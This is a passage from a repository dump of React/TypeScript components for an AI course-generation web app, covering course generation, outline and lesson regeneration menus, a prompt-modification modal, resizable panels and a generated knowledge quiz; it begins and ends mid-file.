    "content": "import { useEffect, useState } from 'react';\nimport { getUrlParams } from '../../lib/browser';\nimport { isLoggedIn } from '../../lib/jwt';\nimport type { AiCourse } from '../../lib/ai';\nimport { AICourseContent } from './AICourseContent';\nimport { generateCourse } from '../../helper/generate-ai-course';\nimport { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions, getAiCourseOptions } from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\nimport { getQuestionAnswerChatMessages } from '../../lib/ai-questions';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\ntype GenerateAICourseProps = {};\n\nexport function GenerateAICourse(props: GenerateAICourseProps) {\n  const [term, setTerm] = useState('');\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [error, setError] = useState('');\n\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [creatorId, setCreatorId] = useState('');\n  const [courseSlug, setCourseSlug] = useState('');\n  const [course, setCourse] = useState<AiCourse>({\n    title: '',\n    modules: [],\n    done: [],\n  });\n\n  // Once the course is generated, we fetch the course from the database\n  // so that we get the up-to-date course data and also so that we\n  // can reload the changes (e.g. progress) etc using queryClient.setQueryData\n  const { data: aiCourse } = useQuery(\n    getAiCourseOptions({ aiCourseSlug: courseSlug }),\n    queryClient,\n  );\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  useEffect(() => {\n    if (!aiCourse) {\n      return;\n    }\n\n    setCourse(aiCourse);\n  }, [aiCourse]);\n\n  const isLimitDataLoading = isPaidUserLoading || isLimitLoading;\n  useEffect(() => {\n    if (term || isLimitDataLoading) {\n      return;\n    }\n\n    if (\n      !isPaidUser &&\n      limits &&\n      limits?.course?.used >= limits?.course?.limit\n    ) {\n      setError('You have reached the limit for this format');\n      setIsLoading(false);\n      setShowUpgradeModal(true);\n      return;\n    }\n\n    const params = getUrlParams();\n    const paramsTerm = params?.term;\n    const paramsSrc = params?.src || 'search';\n    if (!paramsTerm) {\n      return;\n    }\n\n    setTerm(paramsTerm);\n    const sessionId = params?.id;\n    let questionAndAnswers: QuestionAnswerChatMessage[] = [];\n    if (sessionId) {\n      questionAndAnswers = getQuestionAnswerChatMessages(sessionId);\n    }\n\n    handleGenerateCourse({\n      term: paramsTerm,\n      src: paramsSrc,\n      questionAndAnswers,\n    });\n  }, [term, isLimitDataLoading]);\n\n  const handleGenerateCourse = async (options: {\n    term: string;\n    isForce?: boolean;\n    prompt?: string;\n    src?: string;\n    questionAndAnswers?: QuestionAnswerChatMessage[];\n  }) => {\n    const { term, isForce, prompt, src, questionAndAnswers } = options;\n\n    if (!isLoggedIn()) {\n      window.location.href = '/ai';\n      return;\n    }\n\n    await generateCourse({\n      term,\n      slug: courseSlug,\n      onCourseSlugChange: setCourseSlug,\n      onCreatorIdChange: setCreatorId,\n      onCourseChange: setCourse,\n      onLoadingChange: setIsLoading,\n      onError: setError,\n      questionAndAnswers,\n      isForce,\n      prompt,\n      src,\n    });\n  };\n\n  return (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal\n          onClose={() => {\n            window.location.href = '/ai';\n          }}\n        />\n      )}\n\n      <AICourseContent\n        courseSlug={courseSlug}\n        creatorId={creatorId}\n        course={course}\n        isLoading={isLoading}\n        error={error}\n        onRegenerateOutline={(prompt) => {\n          handleGenerateCourse({\n            term,\n            isForce: true,\n            prompt,\n          });\n        }}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/GetAICourse.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { getAiCourseOptions } from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { useEffect, useState } from 'react';\nimport { AICourseContent } from './AICourseContent';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { generateCourse } from '../../helper/generate-ai-course';\n\ntype GetAICourseProps = {\n  courseSlug: string;\n};\n\nexport function GetAICourse(props: GetAICourseProps) {\n  const { courseSlug } = props;\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isRegenerating, setIsRegenerating] = useState(false);\n\n  const [error, setError] = useState('');\n  const { data: aiCourse, error: queryError } = useQuery(\n    {\n      ...getAiCourseOptions({ aiCourseSlug: courseSlug }),\n      enabled: !!courseSlug,\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    if (!aiCourse) {\n      return;\n    }\n\n    setIsLoading(false);\n  }, [aiCourse]);\n\n  useEffect(() => {\n    if (!queryError) {\n      return;\n    }\n\n    setIsLoading(false);\n    setError(queryError.message);\n  }, [queryError]);\n\n  const handleRegenerateCourse = async (prompt?: string) => {\n    if (!aiCourse) {\n      return;\n    }\n\n    queryClient.setQueryData(\n      getAiCourseOptions({ aiCourseSlug: courseSlug }).queryKey,\n      {\n        ...aiCourse,\n        title: '',\n        difficulty: '',\n        modules: [],\n      },\n    );\n\n    await generateCourse({\n      term: aiCourse.keyword,\n      slug: courseSlug,\n      prompt,\n      onCourseChange: (course, rawData) => {\n        queryClient.setQueryData(\n          getAiCourseOptions({ aiCourseSlug: courseSlug }).queryKey,\n          {\n            ...aiCourse,\n            title: course.title,\n            modules: course.modules,\n          },\n        );\n      },\n      onLoadingChange: (isNewLoading) => {\n        setIsRegenerating(isNewLoading);\n        if (!isNewLoading) {\n          // TODO: Update progress\n        }\n      },\n      onError: setError,\n      isForce: true,\n    });\n  };\n\n  return (\n    <AICourseContent\n      course={{\n        title: aiCourse?.title || '',\n        modules: aiCourse?.modules || [],\n        done: aiCourse?.done || [],\n      }}\n      isLoading={isLoading || isRegenerating}\n      courseSlug={courseSlug}\n      error={error}\n      onRegenerateOutline={handleRegenerateCourse}\n      creatorId={aiCourse?.userId}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/ModifyCoursePrompt.tsx",
    "content": "import { useState } from 'react';\nimport { Modal } from '../Modal';\n\nexport type ModifyCoursePromptProps = {\n  onClose: () => void;\n  onSubmit: (prompt: string) => void;\n  title?: string;\n  description?: string;\n};\n\nexport function ModifyCoursePrompt(props: ModifyCoursePromptProps) {\n  const {\n    onClose,\n    onSubmit,\n    title = 'Give AI more context',\n    description = 'Pass additional information to the AI to generate a course outline.',\n  } = props;\n\n  const [prompt, setPrompt] = useState('');\n\n  const handleSubmit = (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    onSubmit(prompt);\n  };\n\n  return (\n    <Modal\n      onClose={onClose}\n      wrapperClassName=\"rounded-xl max-w-xl w-full h-auto\"\n      bodyClassName=\"p-6\"\n      overlayClassName=\"items-start md:items-center\"\n    >\n      <div className=\"flex flex-col gap-4\">\n        <div>\n          <h2 className=\"mb-2 text-left text-xl font-semibold\">{title}</h2>\n          <p className=\"text-sm text-gray-500\">{description}</p>\n        </div>\n        <form className=\"flex flex-col gap-2\" onSubmit={handleSubmit}>\n          <textarea\n            id=\"prompt\"\n            autoFocus\n            rows={3}\n            value={prompt}\n            onChange={(e) => setPrompt(e.target.value)}\n            className=\"w-full rounded-md border border-gray-200 p-2 placeholder:text-sm focus:outline-black\"\n            placeholder=\"e.g. make sure to add a section on React hooks\"\n            data-clarity-unmask=\"true\"\n          />\n\n          <p className=\"text-sm text-gray-500\">\n            Complete the sentence: \"I want AI to...\"\n          </p>\n\n          <div className=\"flex justify-end gap-2\">\n            <button\n              className=\"rounded-md bg-gray-200 px-4 py-2.5 text-sm text-black hover:opacity-80\"\n              onClick={onClose}\n            >\n              Cancel\n            </button>\n            <button\n              type=\"submit\"\n              disabled={!prompt.trim()}\n              className=\"rounded-md bg-black px-4 py-2.5 text-sm text-white hover:opacity-80 disabled:opacity-50\"\n            >\n              Modify Prompt\n            </button>\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/RegenerateLesson.tsx",
    "content": "import { PenSquare, RefreshCcw } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { cn } from '../../lib/classname';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { ModifyCoursePrompt } from './ModifyCoursePrompt';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\n\ntype RegenerateLessonProps = {\n  onRegenerateLesson: (prompt?: string) => void;\n  isForkable: boolean;\n  onForkCourse: () => void;\n};\n\nexport function RegenerateLesson(props: RegenerateLessonProps) {\n  const { onRegenerateLesson, isForkable, onForkCourse } = props;\n\n  const [isDropdownVisible, setIsDropdownVisible] = useState(false);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [showPromptModal, setShowPromptModal] = useState(false);\n\n  const ref = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(ref, () => setIsDropdownVisible(false));\n\n  return (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setShowUpgradeModal(false);\n          }}\n        />\n      )}\n\n      {showPromptModal && (\n        <ModifyCoursePrompt\n          title=\"Give AI more context\"\n          description=\"Pass additional information to the AI to generate a lesson.\"\n          onClose={() => setShowPromptModal(false)}\n          onSubmit={(prompt) => {\n            setShowPromptModal(false);\n            if (!isLoggedIn()) {\n              showLoginPopup();\n              return;\n            }\n\n            if (isForkable) {\n              onForkCourse();\n              return;\n            }\n\n            onRegenerateLesson(prompt);\n          }}\n        />\n      )}\n\n      <div className=\"relative flex items-center lg:mr-1\" ref={ref}>\n        <button\n          className={cn('rounded-full p-1 text-gray-400 hover:text-black', {\n            'text-black': isDropdownVisible,\n          })}\n          onClick={() => setIsDropdownVisible(!isDropdownVisible)}\n        >\n          <PenSquare className=\"text-current\" size={16} strokeWidth={2.5} />\n        </button>\n        {isDropdownVisible && (\n          <div className=\"absolute top-full right-0 min-w-[170px] overflow-hidden rounded-md border border-gray-200 bg-white\">\n            <button\n              onClick={() => {\n                setIsDropdownVisible(false);\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                if (isForkable) {\n                  onForkCourse();\n                  return;\n                }\n\n                onRegenerateLesson();\n              }}\n              className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n            >\n              <RefreshCcw\n                size={16}\n                className=\"text-gray-400\"\n                strokeWidth={2.5}\n              />\n              Regenerate\n            </button>\n            <button\n              onClick={() => {\n                setIsDropdownVisible(false);\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                if (isForkable) {\n                  onForkCourse();\n                  return;\n                }\n\n                setShowPromptModal(true);\n              }}\n              className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n            >\n              <PenSquare\n                size={16}\n                className=\"text-gray-400\"\n                strokeWidth={2.5}\n              />\n              Modify Prompt\n            </button>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/RegenerateOutline.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\nimport { PenSquare, RefreshCcw, Settings2Icon } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { cn } from '../../lib/classname';\nimport { httpPost } from '../../lib/query-http';\nimport { getAiCourseOptions } from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\nimport { UpdatePreferences } from '../GenerateGuide/UpdatePreferences';\nimport { ModifyCoursePrompt } from './ModifyCoursePrompt';\n\ntype RegenerateOutlineProps = {\n  onRegenerateOutline: (prompt?: string) => void;\n  isForkable: boolean;\n  onForkCourse: () => void;\n  courseSlug: string;\n};\n\nexport function RegenerateOutline(props: RegenerateOutlineProps) {\n  const { onRegenerateOutline, isForkable, onForkCourse, courseSlug } = props;\n\n  const [isDropdownVisible, setIsDropdownVisible] = useState(false);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [showPromptModal, setShowPromptModal] = useState(false);\n  const [showUpdatePreferencesModal, setShowUpdatePreferencesModal] =\n    useState(false);\n\n  const ref = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(ref, () => setIsDropdownVisible(false));\n\n  const { data: aiCourse } = useQuery(\n    getAiCourseOptions({ aiCourseSlug: courseSlug }),\n    queryClient,\n  );\n  const { mutate: updatePreferences, isPending: isUpdating } = useMutation(\n    {\n      mutationFn: (questionAndAnswers: QuestionAnswerChatMessage[]) => {\n        return httpPost(`/v1-update-ai-course-preferences/${courseSlug}`, {\n          questionAndAnswers,\n        });\n      },\n      onSuccess: (_, vars) => {\n        queryClient.setQueryData(\n          getAiCourseOptions({ aiCourseSlug: courseSlug }).queryKey,\n          (old) => {\n            if (!old) {\n              return old;\n            }\n\n            return {\n              ...old,\n              questionAndAnswers: vars,\n            };\n          },\n        );\n\n        setShowUpdatePreferencesModal(false);\n        setIsDropdownVisible(false);\n        onRegenerateOutline();\n      },\n    },\n    queryClient,\n  );\n\n  const showUpdatePreferences =\n    aiCourse?.questionAndAnswers && aiCourse.questionAndAnswers.length > 0;\n\n  return (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setShowUpgradeModal(false);\n          }}\n        />\n      )}\n\n      {showPromptModal && (\n        <ModifyCoursePrompt\n          onClose={() => setShowPromptModal(false)}\n          onSubmit={(prompt) => {\n            setShowPromptModal(false);\n            if (isForkable) {\n              onForkCourse();\n              return;\n            }\n            onRegenerateOutline(prompt);\n          }}\n        />\n      )}\n\n      {showUpdatePreferencesModal && (\n        <UpdatePreferences\n          onClose={() => setShowUpdatePreferencesModal(false)}\n          questionAndAnswers={aiCourse?.questionAndAnswers}\n          term={aiCourse?.keyword || ''}\n          format=\"course\"\n          onUpdatePreferences={(questionAndAnswers) => {\n            updatePreferences(questionAndAnswers);\n          }}\n          isUpdating={isUpdating}\n        />\n      )}\n\n      <div ref={ref} className=\"relative flex items-stretch\">\n        <button\n          className={cn('rounded-md px-2.5 text-gray-400 hover:text-black', {\n            'text-black': isDropdownVisible,\n          })}\n          onClick={() => setIsDropdownVisible(!isDropdownVisible)}\n        >\n          <PenSquare className=\"text-current\" size={16} strokeWidth={2.5} />\n        </button>\n        {isDropdownVisible && (\n          <div className=\"absolute top-full right-0 min-w-[190px] translate-y-1 overflow-hidden rounded-md border border-gray-200 bg-white shadow-md\">\n            {showUpdatePreferences && (\n              <button\n                onClick={() => {\n                  setIsDropdownVisible(false);\n                  if (isForkable) {\n                    onForkCourse();\n                    return;\n                  }\n\n                  setShowUpdatePreferencesModal(true);\n                }}\n                className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n              >\n                <Settings2Icon\n                  size={16}\n                  className=\"text-gray-400\"\n                  strokeWidth={2.5}\n                />\n                Preferences\n              </button>\n            )}\n            <button\n              onClick={() => {\n                setIsDropdownVisible(false);\n                if (isForkable) {\n                  onForkCourse();\n                  return;\n                }\n                onRegenerateOutline();\n              }}\n              className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n            >\n              <RefreshCcw\n                size={16}\n                className=\"text-gray-400\"\n                strokeWidth={2.5}\n              />\n              Regenerate\n            </button>\n            <button\n              onClick={() => {\n                setIsDropdownVisible(false);\n                if (isForkable) {\n                  onForkCourse();\n                  return;\n                }\n                setShowPromptModal(true);\n              }}\n              className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n            >\n              <PenSquare\n                size={16}\n                className=\"text-gray-400\"\n                strokeWidth={2.5}\n              />\n              Modify Prompt\n            </button>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/Resizeable.tsx",
    "content": "import { GripVertical } from 'lucide-react';\nimport * as ResizablePrimitive from 'react-resizable-panels';\nimport { cn } from '../../lib/classname';\n\nconst ResizablePanelGroup = ({\n  className,\n  ...props\n}: React.ComponentProps<typeof ResizablePrimitive.PanelGroup>) => (\n  <ResizablePrimitive.PanelGroup\n    className={cn(\n      'flex h-full w-full data-[panel-group-direction=vertical]:flex-col',\n      className,\n    )}\n    {...props}\n  />\n);\n\nconst ResizablePanel = ResizablePrimitive.Panel;\n\nconst ResizableHandle = ({\n  withHandle,\n  className,\n  ...props\n}: React.ComponentProps<typeof ResizablePrimitive.PanelResizeHandle> & {\n  withHandle?: boolean;\n}) => (\n  <ResizablePrimitive.PanelResizeHandle\n    className={cn(\n      'relative flex w-px items-center justify-center bg-gray-200 after:absolute after:inset-y-0 after:left-1/2 after:w-1 after:-translate-x-1/2 focus-visible:outline-hidden focus-visible:ring-1 focus-visible:ring-offset-1 data-[panel-group-direction=vertical]:h-px data-[panel-group-direction=vertical]:w-full data-[panel-group-direction=vertical]:after:left-0 data-[panel-group-direction=vertical]:after:h-1 data-[panel-group-direction=vertical]:after:w-full data-[panel-group-direction=vertical]:after:-translate-y-1/2 data-[panel-group-direction=vertical]:after:translate-x-0 [&[data-panel-group-direction=vertical]>div]:rotate-90',\n      className,\n    )}\n    {...props}\n  >\n    {withHandle && (\n      <div className=\"z-10 flex h-[30px] w-3 items-center justify-center rounded-xs bg-gray-200 text-black hover:bg-gray-300\">\n        <GripVertical className=\"size-5\" />\n      </div>\n    )}\n  </ResizablePrimitive.PanelResizeHandle>\n);\n\nexport { ResizablePanelGroup, ResizablePanel, ResizableHandle };\n"
  },
  {
    "path": "src/components/GenerateCourse/TestMyKnowledgeAction.tsx",
    "content": "import {\n  ChevronLeftIcon,\n  ChevronRightIcon,\n  CircleCheckIcon,\n  CircleIcon,\n  CircleXIcon,\n  FlaskConicalIcon,\n  FrownIcon,\n  Loader2Icon,\n} from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport {\n  generateAiCourseLessonQuestions,\n  readStream,\n  type Question,\n} from '../../lib/ai';\nimport { useCallback, useMemo, useState } from 'react';\nimport { isLoggedIn, removeAuthToken } from '../../lib/jwt';\n\ntype TestMyKnowledgeActionProps = {\n  courseSlug: string;\n  activeModuleIndex: number;\n  activeLessonIndex: number;\n};\n\nexport function TestMyKnowledgeAction(props: TestMyKnowledgeActionProps) {\n  const { courseSlug, activeModuleIndex, activeLessonIndex } = props;\n\n  const [questions, setQuestions] = useState<Question[]>([]);\n  const [isKnowledgeTestOpen, setIsKnowledgeTestOpen] = useState(false);\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [isGenerating, setIsGenerating] = useState(false);\n  const [error, setError] = useState('');\n\n  const abortController = useMemo(\n    () => new AbortController(),\n    [activeModuleIndex, activeLessonIndex],\n  );\n\n  const generateAiLessonQuestions = async () => {\n    setIsLoading(true);\n    setError('');\n\n    if (!isLoggedIn()) {\n      setIsLoading(false);\n      setError('Please login to generate course content');\n      return;\n    }\n\n    const response = await fetch(\n      `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-course-lesson-question/${courseSlug}`,\n      {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/json',\n        },\n        signal: abortController.signal,\n        credentials: 'include',\n        body: JSON.stringify({\n          moduleIndex: activeModuleIndex,\n          lessonIndex: activeLessonIndex,\n        }),\n      },\n    );\n\n    if (!response.ok) {\n      const data = await response.json();\n\n      setError(data?.message || 'Something went wrong');\n      setIsLoading(false);\n\n      // Logout user if token is invalid\n      if (data.status === 401) {\n        removeAuthToken();\n        window.location.reload();\n      }\n      return;\n    }\n\n    if (!response.body) {\n      setIsLoading(false);\n      setError('No response body received');\n      return;\n    }\n\n    try {\n      const reader = response.body.getReader();\n      setIsLoading(false);\n      setIsGenerating(true);\n      await readStream(reader, {\n        onStream: async (result) => {\n          if (abortController.signal.aborted) {\n            return;\n          }\n\n          const questions = generateAiCourseLessonQuestions(result);\n          setQuestions(questions);\n        },\n        onStreamEnd: async (result) => {\n          if (abortController.signal.aborted) {\n            return;\n          }\n\n          const questions = generateAiCourseLessonQuestions(result);\n          setQuestions(questions);\n          setIsGenerating(false);\n        },\n      });\n    } catch (e) {\n      setError(e instanceof Error ? e.message : 'Something went wrong');\n      setIsLoading(false);\n      setIsGenerating(false);\n    }\n  };\n\n  return (\n    <div className=\"mt-10 flex flex-col gap-4\">\n      {!isKnowledgeTestOpen && (\n        <div className=\"flex items-center gap-2\">\n          <button\n            className={cn(\n              'group flex shrink-0 items-center gap-2 rounded-xl border border-gray-200 bg-white px-6 py-3 text-sm font-medium text-gray-700 transition-all hover:border-black hover:bg-gray-50 hover:text-gray-900',\n              {\n                'bg-gray-100 text-gray-900': isKnowledgeTestOpen,\n              },\n            )}\n            onClick={() => {\n              if (isGenerating || isLoading) {\n                return;\n              }\n\n              if (!isKnowledgeTestOpen) {\n                setIsKnowledgeTestOpen(true);\n                generateAiLessonQuestions();\n              } else {\n                setIsKnowledgeTestOpen(false);\n              }\n            }}\n          >\n            <FlaskConicalIcon className=\"size-5 shrink-0 transition-transform group-hover:scale-110\" />\n            <span>Test My Knowledge</span>\n          </button>\n        </div>\n      )}\n\n      {error && (\n        <div className=\"flex min-h-[200px] flex-col items-center justify-center gap-3 rounded-xl bg-red-50/80 p-6 text-red-500\">\n          <FrownIcon className=\"size-12 shrink-0\" />\n          <span className=\"text-center font-semibold\">{error}</span>\n        </div>\n      )}\n\n      {!error && isKnowledgeTestOpen && (\n        <ListQuestions\n          isLoading={isLoading}\n          isGenerating={isGenerating}\n          questions={questions}\n        />\n      )}\n    </div>\n  );\n}\n\ntype ListQuestionsProps = {\n  isLoading: boolean;\n  isGenerating: boolean;\n  questions: Question[];\n};\n\nexport function ListQuestions(props: ListQuestionsProps) {\n  const { isLoading, isGenerating, questions } = props;\n\n  const [selectedAnswers, setSelectedAnswers] = useState<\n    Record<string, string[]>\n  >({});\n  const [submitted, setSubmitted] = useState(false);\n  const [activeQuestionIndex, setActiveQuestionIndex] = useState(0);\n\n  const activeQuestion = questions[activeQuestionIndex];\n\n  const handleOptionSelectChange = function (\n    questionId: string,\n    optionId: string,\n  ) {\n    setSelectedAnswers((prev) => {\n      const newAnswers = { ...prev };\n\n      const canMultiSelect =\n        activeQuestion.options.filter((option) => option.isCorrect).length > 1;\n      const isAlreadySelected = selectedAnswers[questionId]?.includes(optionId);\n\n      if (isAlreadySelected) {\n        newAnswers[questionId] = newAnswers[questionId].filter(\n          (id) => id !== optionId,\n        );\n      } else {\n        if (canMultiSelect) {\n          newAnswers[questionId] = [\n            ...(newAnswers[questionId] || []),\n            optionId,\n          ];\n        } else {\n          newAnswers[questionId] = [optionId];\n        }\n      }\n\n      return newAnswers;\n    });\n  };\n\n  const handleNext = useCallback(() => {\n    const isLastQuestion = activeQuestionIndex === questions.length - 1;\n    if (isLastQuestion) {\n      setSubmitted(true);\n      setActiveQuestionIndex(0);\n      return;\n    }\n\n    setActiveQuestionIndex(activeQuestionIndex + 1);\n  }, [activeQuestionIndex, questions, submitted]);\n\n  const handlePrevious = useCallback(() => {\n    setActiveQuestionIndex((prev) => Math.max(prev - 1, 0));\n  }, [questions]);\n\n  const handleTryAgain = useCallback(() => {\n    setSelectedAnswers({});\n    setSubmitted(false);\n    setActiveQuestionIndex(0);\n  }, []);\n\n  const correctAnswerCount = useMemo(() => {\n    if (!submitted) {\n      return 0;\n    }\n\n    return questions.filter((question) => {\n      const selectedOptionIds = selectedAnswers[question.id];\n      const correctAnswerIds = question.options\n        .filter((option) => option.isCorrect)\n        .map((option) => option.id);\n\n      return (\n        correctAnswerIds.length === selectedOptionIds?.length &&\n        correctAnswerIds.every((correctAnswerId) =>\n          selectedOptionIds?.includes(correctAnswerId),\n        )\n      );\n    }).length;\n  }, [questions, selectedAnswers, submitted]);\n\n  if (isLoading || !questions.length) {\n    return (\n      <div className=\"flex h-[306px] w-full items-center justify-center rounded-lg border p-5 text-black\">\n        <Loader2Icon className=\"size-8 animate-spin stroke-[2.5] text-gray-400\" />\n      </div>\n    );\n  }\n\n  return (\n    <QuizItem\n      counter={activeQuestionIndex + 1}\n      totalQuestions={questions.length}\n      correctAnswerCount={correctAnswerCount}\n      isLoading={isGenerating}\n      question={activeQuestion}\n      onOptionSelectChange={handleOptionSelectChange}\n      selectedOptionIds={selectedAnswers[activeQuestion.id]}\n      submitted={submitted}\n      onNext={handleNext}\n      onPrevious={handlePrevious}\n      onTryAgain={handleTryAgain}\n    />\n  );\n}\n\ntype QuizItemProps = {\n  totalQuestions: number;\n  correctAnswerCount: number;\n  counter: number;\n\n  question: Question;\n  onOptionSelectChange?: (id: string, optionId: string) => void;\n  selectedOptionIds?: string[];\n  submitted?: boolean;\n\n  isLoading: boolean;\n\n  onNext?: () => void;\n  onPrevious?: () => void;\n  onTryAgain?: () => void;\n};\n\nexport function QuizItem(props: QuizItemProps) {\n  const {\n    totalQuestions,\n    correctAnswerCount,\n    counter,\n    isLoading,\n    question,\n    onOptionSelectChange,\n    selectedOptionIds,\n    submitted = false,\n    onNext,\n    onPrevious,\n    onTryAgain,\n  } = props;\n  const { id: questionId, title, options } = question;\n\n  const canMultiSelect =\n    options.filter((option) => option.isCorrect).length > 1;\n\n  const correctAnswerIds = options\n    .filter((option) => option.isCorrect)\n    .map((option) => option.id);\n\n  const isAllCorrectAnswer =\n    correctAnswerIds.length === selectedOptionIds?.length &&\n    correctAnswerIds.every((correctAnswerId) =>\n      selectedOptionIds?.includes(correctAnswerId),\n    );\n  const hasWrongAnswer = submitted && !isAllCorrectAnswer;\n  const hasCorrectAnswer = submitted && isAllCorrectAnswer;\n\n  return (\n    <div\n      className={cn(\n        'relative w-full overflow-hidden rounded-xl border text-black transition-all',\n        {\n          'border-red-400': hasWrongAnswer,\n          'border-green-500': hasCorrectAnswer,\n        },\n      )}\n    >\n      <div className=\"flex items-center gap-4 rounded-t-xl border-b bg-linear-to-r from-gray-50 to-white p-5\">\n        <span className=\"text-sm font-medium text-gray-700\">\n          Question {counter} of {totalQuestions}\n        </span>\n        <div className=\"h-2 flex-1 rounded-full bg-gray-100\">\n          <div\n            className=\"h-full rounded-full bg-black transition-all duration-300\"\n            style={{ width: `${(counter / totalQuestions) * 100}%` }}\n          />\n        </div>\n        {submitted && (\n          <span\n            className={cn('rounded-full px-3 py-1 text-xs font-medium', {\n              'bg-red-500 text-white': hasWrongAnswer,\n              'bg-green-500 text-white': hasCorrectAnswer,\n            })}\n          >\n            {hasWrongAnswer ? 'Wrong' : 'Correct'}\n          </span>\n        )}\n      </div>\n\n      <div className=\"p-6\">\n        <h3 className=\"mx-2 text-balance text-xl font-medium\">\n          {title} {canMultiSelect ? '(Select Multiple)' : ''}\n        </h3>\n\n        <div className=\"mt-6 flex flex-col gap-0.5\">\n          {options.map((option, index) => {\n            let status: QuizOptionStatus = 'default';\n            if (submitted) {\n              if (option.isCorrect) {\n                status = 'correct';\n              } else if (selectedOptionIds?.includes(option.id)) {\n                status = 'wrong';\n              }\n            } else {\n              if (selectedOptionIds?.includes(option.id)) {\n                status = 'selected';\n              }\n            }\n\n            return (\n              <QuizOption\n                key={index}\n                title={option.title}\n                status={status}\n                onSelect={() => onOptionSelectChange?.(questionId, option.id)}\n                submitted={submitted}\n              />\n            );\n          })}\n        </div>\n\n        <div className=\"mt-6 flex w-full items-center justify-between px-2\">\n          <div className=\"text-gray-600\">\n            {submitted ? (\n              <span className=\"flex items-center gap-2\">\n                You got {correctAnswerCount} out of {totalQuestions} correct.\n                <button\n                  className=\"relative rounded-md bg-black px-3 py-1 text-xs font-medium uppercase tracking-wider text-white transition-colors hover:bg-black/80\"\n                  onClick={onTryAgain}\n                >\n                  Try again\n                </button>\n              </span>\n            ) : (\n              <span>Answer all questions to submit</span>\n            )}\n          </div>\n\n          <div className=\"flex gap-2\">\n            <button\n              className=\"group flex h-10 items-center justify-center gap-1 rounded-lg border border-gray-200 p-2 pr-4 text-sm text-black transition-all hover:border-black hover:bg-black hover:text-white focus:outline-hidden max-sm:pr-2\"\n              onClick={onPrevious}\n            >\n              <ChevronLeftIcon className=\"size-5 shrink-0 transition-transform group-hover:-translate-x-0.5\" />\n              <span className=\"max-sm:hidden\">Previous</span>\n            </button>\n            <button\n              className=\"group flex h-10 items-center justify-center gap-1 rounded-lg border border-gray-200 p-2 pl-4 text-sm text-black transition-all hover:border-black hover:bg-black hover:text-white focus:outline-hidden max-sm:pl-2\"\n              onClick={onNext}\n            >\n              <span className=\"max-sm:hidden\">Next</span>\n              <ChevronRightIcon className=\"size-5 shrink-0 transition-transform group-hover:translate-x-0.5\" />\n            </button>\n          </div>\n        </div>\n      </div>\n\n      {isLoading && (\n        <div className=\"absolute bg-white right-3 top-3 flex h-8 items-center justify-center gap-1 rounded-lg border border-gray-200 p-2 text-sm text-black hover:bg-black hover:text-white focus:outline-hidden\">\n          <Loader2Icon className=\"size-5 animate-spin text-gray-400\" />\n        </div>\n      )}\n    </div>\n  );\n}\n\ntype QuizOptionStatus = 'default' | 'selected' | 'wrong' | 'correct';\n\ntype QuizOptionProps = {\n  title: string;\n  status?: QuizOptionStatus;\n  onSelect: () => void;\n  submitted?: boolean;\n};\n\nexport function QuizOption(props: QuizOptionProps) {\n  const { title, status = 'default', onSelect, submitted = false } = props;\n\n  return (\n    <button\n      onClick={onSelect}\n      className={cn(\n        'group flex items-start gap-3 rounded-xl p-4 text-base transition-all disabled:cursor-not-allowed',\n        status === 'selected' && 'bg-black text-white',\n        status === 'wrong' && 